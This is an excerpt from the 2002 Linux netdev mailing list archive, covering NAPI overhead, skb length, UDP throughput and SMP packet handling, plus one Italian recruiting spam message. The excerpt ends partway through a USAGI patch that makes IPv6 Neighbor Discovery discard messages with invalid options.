SMTP id jm13d8cfcbc; Sun, 22 Sep 2002 04:08:15 +0800 Received: from oss.sgi.com([127.0.0.1]) by 21cn.com(AIMC 2.9.5.2) with SMTP id jm2c3d87eba4; Wed, 18 Sep 2002 10:10:03 +0800 Received: from oss.sgi.com([128.167.58.27]) by 21cn.com(AIMC 2.9.5.1) with SMTP id jm153d87f0da; Wed, 18 Sep 2002 10:10:03 +0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g8I273tG001969; Tue, 17 Sep 2002 19:07:03 -0700 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:06:54 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I26ktG001877 for ; Tue, 17 Sep 2002 19:06:47 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rUJe-000318-00; Wed, 18 Sep 2002 03:11:46 +0100 Message-ID: <3D87E0C2.6040004@mandrakesoft.com> Date: Tue, 17 Sep 2002 22:11:14 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D87A264.8D5F3AD2@digeo.com> <20020917.143947.07361352.davem@redhat.com> <3D87A4A2.6050403@mandrakesoft.com> <20020917.144911.43656989.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 243 X-ecartis-version: Ecartis v1.0.0 X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev X-archive-position: 308 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Content-Length: 864 Lines: 29 David S. Miller wrote: > From: Jeff Garzik > Date: Tue, 17 Sep 2002 17:54:42 -0400 > > David S. Miller wrote: > > Any driver should be able to get the NAPI overhead to max out at > > 2 PIOs per packet. > > Just to pick nits... my example went from 2 or 3 IOs [depending on the > presence/absence of a work loop] to 6 IOs. > > I mean "2 extra PIOs" not "2 total PIOs". > > I think it's doable for just about every driver, even tg3 with it's > weird semaphore scheme takes 2 extra PIOs worst case with NAPI. > > The semaphore I have to ACK anyways at hw IRQ time anyways, and since > I keep a software copy of the IRQ masking register, mask and unmask > are each one PIO. You're looking at at least one extra get-irq-status too, at least in the classical 10/100 drivers I'm used to seeing... Jeff From info@multibankbusiness.com Mon Sep 23 17:07:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Sep 2002 17:07:41 -0700 (PDT) Received: from xeon (host112-162.pool8173.interbusiness.it [81.73.162.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8O07StH027449 for ; Mon, 23 Sep 2002 17:07:30 -0700 Message-Id: <200209240007.g8O07StH027449@oss.sgi.com> From: info@multibankbusiness.com Subject: Ricerca e Selezione To: netdev@oss.sgi.com Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; charset="US-ASCII" MIME-Version: 1.0 Reply-To: info@multibankbusiness.com Date: Tue, 24 Sep 2002 02:07:45 +0200 X-Priority: 1 X-Library: Indy 9.0.3-B X-Mailer: XMailer-2002 X-archive-position: 310 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: info@multibankbusiness.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html Content-Transfer-Encoding: quoted-printable

 <= /p>

Gentile Direttore,

ha mai considerato i grandi vantaggi che la Sua azienda pu=F2 trarre da una Ri= cerca e Selezione di Personale=A0 mirata= .

 =

Sono Luigi Tartarelli, head hunter,=A0 da oltre venti anni Specializzato=A0 nel risolvere i problemi di=A0 preoccupandomi di capire il Suo modo e la Sua filosofia=A0 di gestione, e con Lei individuare le giuste=A0 necessit=E0 di personale= =A0 per la Sua Azienda.

Dopo aver=A0 ben interpretato la figura= a Lei necessaria=A0 Mi impegno con scrup= olosa diligenza =93 del buon padre di famiglia =94 a darle rapidamente la rispost= a e la soluzione che si aspetta, anche con persone da me gi=E0 selezionate e ben conosciute, capaci=A0 serie e fede= li.

La garanzia generata dal mio = modo esclusivo di operare, per Lei costituisce un vantaggio fondamentale e sicuro,=A0 molto pi=F9 efficace di= =A0 qualsiasi altro metodo. <= /span>

 

Anche se Lei ha gi=E0 dei professionisti di riferimento, Gra= dire enormemente l=92opportunit=E0 di un confronto, chiaramente senza alcun impe= gno da parte Sua, per spiegarle pi=F9 dettagliatamente i vantaggi che Le posso off= rire.=A0

 =

Pu=F2 gentilmente chiamarmi al numero verde gratuito

800. 73. 89. 99

info@multibankbusiness.com

 

 

Perdonate=A0 il disturbo e credetemi con tutto Ossequio.

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0

sabato 21 settembre 2002

Obbligatissimo

Luigi Tartarelli

 <= /p>

 

MULTIBANK srl

Sede Commerciale, Piazza dell=92Unit=E0 n=B011, 40128 B= ologna (BO)

Direzione Amministrativa, Via G.M. Lancisi n=B0 15,=0D 52037=A0 Sansepolcro=A0 (AR)

Tel. (+39 ) 0575.74.10.01 - Fax (+39) 0575.73.46.69

P.iva 01450810518=A0 = - REA Arezzo n. 0106352 Reg. Trib. Arezzo n.15847

 

Tutela della Privacy.
Multibank s.r.l., in conformit=E0 con l'art. 10 Legge 675/96, dichiara che: 1. I dati= sono raccolti per la registrazione e trattati elettronicamente in conformit=E0 c= on le leggi vigenti.=A0 2. Tutti i dati = vengono da una ricerca in internet e saranno usati per informazioni professionali iguardanti le attivit=E0 di Multibank s.r.l.=A0 3. In conformit=E0 con l'art. 13 legge 675/96, l'interessato pu=F2 a= ccedere ai dati personali conferiti e richiederne la modifica o la cancellazione=A0 mediante invio di un fax al numero 0575.73.46.69. o tramite e.mail da inviare a=A0 nfo@multibankbusiness.com con oggetto rimuovi!.=A0 Titolare e responsabile dei dati rac= colti =E8 multibank s.r.l., via G.M.Lancisi n.15, 52037 Sansepolcro (AR).<= /span>

::::::::::::::::::::::::= :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::= :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::= :::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::= :::

 

 

Dear Sir / Madam,

 

Have you ever considered the great advantages your firm could have by using a personalized recruiting method?

 

I'm Luigi Tartarelli and I can offer you more than 20 years of experience in he= ad hunting.

 

I can quickly and effectively resolve your recruiting problems.

 

Human resources are essential for the success of your firm. I'll work together wi= th you to try to understand your work philosophy in

order to identify your recruiting necessities.

 

Afterwards I'll focus on common objectives in order to reach a solution with my professional team.

 

My method will be the most useful and secure way to reach your recruiting obje= ctives, as my long term clients could guarantee.

 

I would be pleased to meet you and closely explain my offer and the advantages for your firm, even if you are already collaborating with professional recruiters.

 

 

=0D

PLEASE CALL THE FREE T= OLL NUMBER

800. 73. 89. 99

info@multibanbusiness.com

 

 =

 

 

Sincerely,

=  

Luigi Tartarelli

 

=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85 =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85 =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85= =85=85=85=85=85=85=85=85=85=85=85=85=85=85=85=85

--=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ............................................... --=_NextPart_2rfkindysadvnqw3nerasdf-- From mazhar@nmt.edu Mon Sep 23 17:36:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Sep 2002 17:36:35 -0700 (PDT) Received: from mailhost.nmt.edu (mailhost.nmt.edu [129.138.4.52]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8O0aVtG027957 for ; Mon, 23 Sep 2002 17:36:32 -0700 Received: from tweak (grissom-31.nmt.edu [129.138.5.201]) by mailhost.nmt.edu (8.12.6/8.12.6) with SMTP id g8O0aSja009255; Mon, 23 Sep 2002 18:36:29 -0600 Date: Mon, 23 Sep 2002 18:25:54 -0600 From: Mazhar Memon To: netdev@oss.sgi.com Cc: linux-net@vger.kernel.org Subject: skb->len Message-Id: <20020923182554.1f84d429.mazhar@nmt.edu> In-Reply-To: <20020410.202811.103858854.davem@redhat.com> References: <20020410.202811.103858854.davem@redhat.com> X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; ) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 311 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mazhar@nmt.edu Precedence: bulk X-list: netdev Is there a reason why skb->len for skb->pkt_type=PACKET_OUTGOING is 14 bytes larger than for skb->pkt_type=PACKET_HOST? I doubt its a coincidence that the size of the ethernet header is 14 bytes. Also, I notice that skb->data starts at a different location (relative to the ethernet header) if its outgoing compared to incoming traffic. Can anyone tell me why? Regards, Mazhar From davem@redhat.com Mon Sep 23 17:53:26 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Sep 2002 17:53:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8O0rQtG002634 for ; Mon, 23 Sep 2002 17:53:26 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id RAA07179; Mon, 23 Sep 2002 17:43:26 -0700 Date: Mon, 23 Sep 2002 17:43:26 -0700 (PDT) Message-Id: <20020923.174326.82525292.davem@redhat.com> To: mazhar@nmt.edu Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: skb->len From: "David S. Miller" In-Reply-To: <20020923182554.1f84d429.mazhar@nmt.edu> References: <20020410.202811.103858854.davem@redhat.com> <20020923182554.1f84d429.mazhar@nmt.edu> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 312 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Mazhar Memon Date: Mon, 23 Sep 2002 18:25:54 -0600 Is there a reason why skb->len for skb->pkt_type=PACKET_OUTGOING is 14 bytes larger than for skb->pkt_type=PACKET_HOST? I doubt its a coincidence that the size of the ethernet header is 14 bytes. Also, I notice that skb->data starts at a different location (relative to the ethernet header) if its outgoing compared to incoming traffic. Can anyone tell me why? The size of skb->len has no direct relationship to skb->pkt_type. It has more to do with the path the SKB took inside the stack on it's way to the output device. On input, the hardware layer trims the device hw header from the front of the packet by the time ip_input sees it, for example. The hw header is still there and accessible actually, via skb->mac.raw From Eric.Lemoine@ens-lyon.fr Mon Sep 23 23:50:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Sep 2002 23:50:53 -0700 (PDT) Received: from mailhost.ens-lyon.fr (pluvier.ens-lyon.fr [140.77.167.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8O6oltG006047 for ; Mon, 23 Sep 2002 23:50:48 -0700 Received: from [140.77.13.91] (helo=[140.77.13.91]) by mailhost.ens-lyon.fr with esmtp (Exim 3.35 #1 (Debian)) id 17tjWw-0006UN-00 for ; Tue, 24 Sep 2002 08:50:46 +0200 Received: from eric by (null) with local (MasqMail 0.1.16) id 17tjWw-0OC-00 for netdev@oss.sgi.com; Tue, 24 Sep 2002 08:50:46 +0200 Date: Tue, 24 Sep 2002 08:50:46 +0200 From: Eric Lemoine To: netdev@oss.sgi.com Subject: udp weirdness Message-ID: <20020924065046.GF392@hookipa> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 313 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@ens-lyon.fr Precedence: bulk X-list: netdev I'm observing some UDP weirdness, or I'd better say some UDP behaviour that I can't explain. Two machines: one sending a UDP flow (using sendto) and another receiving this UDP flow (using bind + recv). When the dgram length is lower that 357 Bytes I observe strange results at the send side. My home-made udp_tx program gives the following: $./udp_tx -h 192.168.4.1 -m 357 357 1312621 357.518 357 is the dgram length (in B), 1312621 the number of dgrams sent and 357.518 the perceived thruput (in Mbits/s). The weirdness is that I get 357.518 Mbits/s whereas the underlying network is 10Mbits/s! At the receive side the results are consistent (obviously): $./udp_rx -m 357 357 29519 8.00884 on the send machine before and after the run also gives me such a large amount of sent packets (~1312700), whereas confirms that about 29519 packets have been sent out. Below 357 Bytes, the same kind of results are observed. Above 357 Bytes, the results make more sense to me: $./udp_tx -h 192.168.4.1 -m 358 358 29505 8.04393 $./udp_rx -m 358 358 29468 8.0179 Does anybody know where I lose packets? And why do I lose them only when the dgram length is below 357 Bytes? BTW, I'm running 2.4.18-vanilla w/ the 3c59x driver. Thx. -- Eric From cannon@toad.postech.ac.kr Tue Sep 24 19:27:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Sep 2002 19:27:41 -0700 (PDT) Received: from toad.postech.ac.kr (toad.postech.ac.kr [141.223.14.55]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8P2RXtG007387 for ; Tue, 24 Sep 2002 19:27:34 -0700 Received: (from cannon@localhost) by toad.postech.ac.kr (8.10.2+Sun/8.11.1) id g8P2RVr21060 for netdev@oss.sgi.com; Wed, 25 Sep 2002 11:27:31 +0900 (KST) Date: Wed, 25 Sep 2002 11:27:31 +0900 From: Hyochang Nam To: netdev@oss.sgi.com Subject: [Question] SMP for TCP/IP Stack Message-ID: <20020925112731.A19934@toad.postech.ac.kr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-archive-position: 314 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cannon@postech.ac.kr Precedence: bulk X-list: netdev Can Linux Kernel 2.4.X handle two IP Packets at the same time in a SMP machine which has two CPUs? I have a SMP machine which equips two Intel Xeon CPUs and two Intel Gigabit Network Cards. When I sent small IP Packets to the machine, most of packets are dropped. When I watch CPU utlization with TOP program, only one CPU shows high value but the other shows much low value, ie. 10% CPU utlization. My test shows current IP Stack in Linux Kernel cannot provide SMP Processing properly. But, some articles said Linux Kernel 2.4 gives true SMP processing. What do you think my problem is? Best regards, Hyochang Nam From bcrl@redhat.com Tue Sep 24 19:35:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Sep 2002 19:35:08 -0700 (PDT) Received: from touchme.toronto.redhat.com (to-velocet.redhat.com [216.138.202.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8P2Z4tG009697 for ; Tue, 24 Sep 2002 19:35:05 -0700 Received: from toomuch.toronto.redhat.com (toomuch.toronto.redhat.com [172.16.14.22]) by touchme.toronto.redhat.com (Postfix) with ESMTP id 26FAA80022F; Tue, 24 Sep 2002 22:35:02 -0400 (EDT) Received: (from bcrl@localhost) by toomuch.toronto.redhat.com (8.11.6/8.11.6) id g8P2Z2K06092; Tue, 24 Sep 2002 22:35:02 -0400 Date: Tue, 24 Sep 2002 22:35:01 -0400 From: Benjamin LaHaise To: Hyochang Nam Cc: netdev@oss.sgi.com Subject: Re: [Question] SMP for TCP/IP Stack Message-ID: <20020924223501.K2531@redhat.com> References: <20020925112731.A19934@toad.postech.ac.kr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020925112731.A19934@toad.postech.ac.kr>; from cannon@postech.ac.kr on Wed, Sep 25, 2002 at 11:27:31AM +0900 X-archive-position: 315 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bcrl@redhat.com Precedence: bulk X-list: netdev Have you made sure each nic is on a separate interrrupt and that those interrupts are bound to different cpus? -ben On Wed, Sep 25, 2002 at 11:27:31AM +0900, Hyochang Nam wrote: > > Can Linux Kernel 2.4.X handle two IP Packets at the same time > in a SMP machine which has two CPUs? > I have a SMP machine which equips two Intel Xeon CPUs and two > Intel Gigabit Network Cards. When I sent small IP Packets > to the machine, most of packets are dropped. When I watch > CPU utlization with TOP program, only one CPU shows high value > but the other shows much low value, ie. 10% CPU utlization. > My test shows current IP Stack in Linux Kernel cannot provide > SMP Processing properly. But, some articles said Linux Kernel 2.4 > gives true SMP processing. What do you think my problem is? > > Best regards, > > Hyochang Nam > -- GMS rules. From greearb@candelatech.com Tue Sep 24 20:12:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Sep 2002 20:12:24 -0700 (PDT) Received: from grok.yi.org (IDENT:hT2WNknT1L6BfvQIzzU0T3e0GleQ6vmG@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8P3CHtG010681 for ; Tue, 24 Sep 2002 20:12:18 -0700 Received: from candelatech.com (IDENT:okkT/HdvKBfE+hJxGyvbmoAH1WJOgMN+@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8P3Bmv16657; Tue, 24 Sep 2002 20:11:49 -0700 Message-ID: <3D912974.7010308@candelatech.com> Date: Tue, 24 Sep 2002 20:11:48 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Hyochang Nam CC: netdev@oss.sgi.com Subject: Re: [Question] SMP for TCP/IP Stack References: <20020925112731.A19934@toad.postech.ac.kr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 316 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Hyochang Nam wrote: > Can Linux Kernel 2.4.X handle two IP Packets at the same time > in a SMP machine which has two CPUs? > I have a SMP machine which equips two Intel Xeon CPUs and two > Intel Gigabit Network Cards. When I sent small IP Packets > to the machine, most of packets are dropped. When I watch > CPU utlization with TOP program, only one CPU shows high value > but the other shows much low value, ie. 10% CPU utlization. > My test shows current IP Stack in Linux Kernel cannot provide > SMP Processing properly. But, some articles said Linux Kernel 2.4 > gives true SMP processing. What do you think my problem is? > > Best regards, > > Hyochang Nam > I will be interested to hear if your tests can generate heavy traffic for more than a few hours...my machine keeps crashing when doing this kind of test. How many packets are you trying to send? Also, try loading the NIC with TxDescriptors=4096 RxDescriptors=1024 Enjoy, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From yoshfuji@linux-ipv6.org Tue Sep 24 22:52:31 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Sep 2002 22:52:38 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8P5qTtG013994 for ; Tue, 24 Sep 2002 22:52:30 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8P4UWq2017367; Wed, 25 Sep 2002 13:30:33 +0900 Date: Wed, 25 Sep 2002 13:30:31 +0900 (JST) Message-Id: <20020925.133031.538200492.yoshfuji@linux-ipv6.org> To: netdev@oss.sgi.com, linux-kernel@vger.kernel.org CC: usagi@linux-ipv6.org Subject: [PATCH] IPv6: Don't Process ND Messages with Invalid Options From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on XEmacs 21.4.6 (Common Lisp) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 317 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello! My name is YOSHIFUJI Hideaki. I'm from USAGI Project. Our project is trying to improve IPv6 implementation in Linux, and we'd like to continue contributing our efforts. Please see for further information. Well... Linux happened to process invalid ND messages with invalid options such as - length of ND options is 0 - length of ND options is not enough Specification says that such messages must be silently discarded. This patch parses/checks ND options before it changes state of neighbour / address etc. and ignores such messages. Following patch is against linux-2.4.19. Thank you in advance. --- Patch-Name: Don't Process ND Messages with Invalid Options Patch-Id: FIX_2_4_19_NDP_OPTIONS-20020830 Patch-Revision: s20020925 Patch-Author: YOSHIFUJI Hideaki / USAGI Project Credit: YOSHIFUJI Hideaki / USAGI Project Reference: RFC2461 --- Index: include/net/ndisc.h =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/include/net/ndisc.h,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.2.1 diff -u -r1.1.1.1 -r1.1.1.1.2.1 --- include/net/ndisc.h 2002/08/20 09:46:45 1.1.1.1 +++ include/net/ndisc.h 2002/09/03 09:31:13 1.1.1.1.2.1 @@ -51,6 +51,25 @@ __u32 retrans_timer; }; +struct nd_opt_hdr { + __u8 nd_opt_type; + __u8 nd_opt_len; +} __attribute__((__packed__)); + +struct ndisc_options { + struct nd_opt_hdr *nd_opt_array[7]; + struct nd_opt_hdr *nd_opt_piend; +}; + +#define nd_opts_src_lladdr nd_opt_array[ND_OPT_SOURCE_LL_ADDR] +#define nd_opts_tgt_lladdr nd_opt_array[ND_OPT_TARGET_LL_ADDR] +#define nd_opts_pi nd_opt_array[ND_OPT_PREFIX_INFO] +#define nd_opts_pi_end nd_opt_piend +#define nd_opts_rh nd_opt_array[ND_OPT_REDIRECT_HDR] +#define nd_opts_mtu nd_opt_array[ND_OPT_MTU] + +extern struct nd_opt_hdr *ndisc_next_option(struct nd_opt_hdr *cur, struct nd_opt_hdr *end); +extern struct ndisc_options *ndisc_parse_options(u8 *opt, int opt_len, struct ndisc_options *ndopts); extern int ndisc_init(struct net_proto_family *ops); Index: net/ipv6/ndisc.c =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/net/ipv6/ndisc.c,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.2.3 diff -u -r1.1.1.1 -r1.1.1.1.2.3 --- net/ipv6/ndisc.c 2002/08/20 09:47:02 1.1.1.1 +++ net/ipv6/ndisc.c 2002/09/14 17:29:42 1.1.1.1.2.3 @@ -154,6 +154,67 @@ return opt + space; } +struct nd_opt_hdr *ndisc_next_option(struct nd_opt_hdr *cur, + struct nd_opt_hdr *end) +{ + int type; + if (!cur || !end || cur >= end) + return NULL; + type = cur->nd_opt_type; + do { + cur = ((void *)cur) + (cur->nd_opt_len << 3); + } while(cur < end && cur->nd_opt_type != type); + return (cur <= end && cur->nd_opt_type == type ? cur : NULL); +} + +struct ndisc_options *ndisc_parse_options(u8 *opt, int opt_len, + struct ndisc_options *ndopts) +{ + struct nd_opt_hdr *nd_opt = (struct nd_opt_hdr *)opt; + + if (!nd_opt || opt_len < 0 || !ndopts) + return NULL; + memset(ndopts, 0, sizeof(*ndopts)); + while (opt_len) { + int l; + if (opt_len < sizeof(struct nd_opt_hdr)) + return NULL; + l = nd_opt->nd_opt_len << 3; + if (opt_len < l || l == 0) + return NULL; + switch (nd_opt->nd_opt_type) { + case ND_OPT_SOURCE_LL_ADDR: + case ND_OPT_TARGET_LL_ADDR: + case ND_OPT_MTU: + case ND_OPT_REDIRECT_HDR: + if (ndopts->nd_opt_array[nd_opt->nd_opt_type]) { + ND_PRINTK2((KERN_WARNING + "ndisc_parse_options(): duplicated ND6 option found: type=%d\n", + nd_opt->nd_opt_type)); + } else { + ndopts->nd_opt_array[nd_opt->nd_opt_type] = nd_opt; + } + break; + case ND_OPT_PREFIX_INFO: + ndopts->nd_opts_pi_end = nd_opt; + if (ndopts->nd_opt_array[nd_opt->nd_opt_type] == 0) + ndopts->nd_opt_array[nd_opt->nd_opt_type] = nd_opt; + break; + default: + /* + * Unknown options must be silently ignored, + * to accomodate future extension to the protocol. + */ + ND_PRINTK2(KERN_WARNING + "ndisc_parse_options(): ignored unsupported option; type=%d, len=%d\n", + nd_opt->nd_opt_type, nd_opt->nd_opt_len); + } + opt_len -= l; + nd_opt = ((void *)nd_opt) + l; + } + return ndopts; +} + int ndisc_mc_map(struct in6_addr *addr, char *buf, struct net_device *dev, int dir) { switch (dev->type) { @@ -484,27 +545,6 @@ } -static u8 * ndisc_find_option(u8 *opt, int opt_len, int len, int option) -{ - while (opt_len <= len) { - int l = opt[1]<<3; - - if (opt[0] == option && l >= opt_len) - return opt + 2; - - if (l == 0) { - if (net_ratelimit()) - printk(KERN_WARNING "ndisc: option has 0 len\n"); - return NULL; - } - - opt += l; - len -= l; - } - return NULL; -} - - static void ndisc_error_report(struct neighbour *neigh, struct sk_buff *skb) { /* @@ -542,13 +582,6 @@ } } - -static void ndisc_update(struct neighbour *neigh, u8* opt, int len, int type) -{ - opt = ndisc_find_option(opt, neigh->dev->addr_len+2, len, type); - neigh_update(neigh, opt, NUD_STALE, 1, 1); -} - static void ndisc_router_discovery(struct sk_buff *skb) { struct ra_msg *ra_msg = (struct ra_msg *) skb->h.raw; @@ -556,6 +589,7 @@ struct inet6_dev *in6_dev; struct rt6_info *rt; int lifetime; + struct ndisc_options ndopts; int optlen; __u8 * opt = (__u8 *)(ra_msg + 1); @@ -587,6 +621,13 @@ return; } + if (!ndisc_parse_options(opt, optlen, &ndopts)) { + if (net_ratelimit()) + ND_PRINTK2(KERN_WARNING + "ICMP6 RA: invalid ND option, ignored.\n"); + return; + } + if (in6_dev->if_flags & IF_RS_SENT) { /* * flag that an RA was received after an RS was sent @@ -670,63 +711,60 @@ * Process options. */ - while (optlen > 0) { - int len = (opt[1] << 3); + if (rt && (neigh = rt->rt6i_nexthop) != NULL) { + u8 *lladdr = NULL; + int lladdrlen; + if (ndopts.nd_opts_src_lladdr) { + lladdr = (u8*)((ndopts.nd_opts_src_lladdr)+1); + lladdrlen = ndopts.nd_opts_src_lladdr->nd_opt_len << 3; + if (lladdrlen != NDISC_OPT_SPACE(skb->dev->addr_len)) { + if (net_ratelimit()) + ND_PRINTK2(KERN_WARNING + "ICMP6 RA: Invalid lladdr length.\n"); + goto out; + } + } + neigh_update(neigh, lladdr, NUD_STALE, 1, 1); + } - if (len 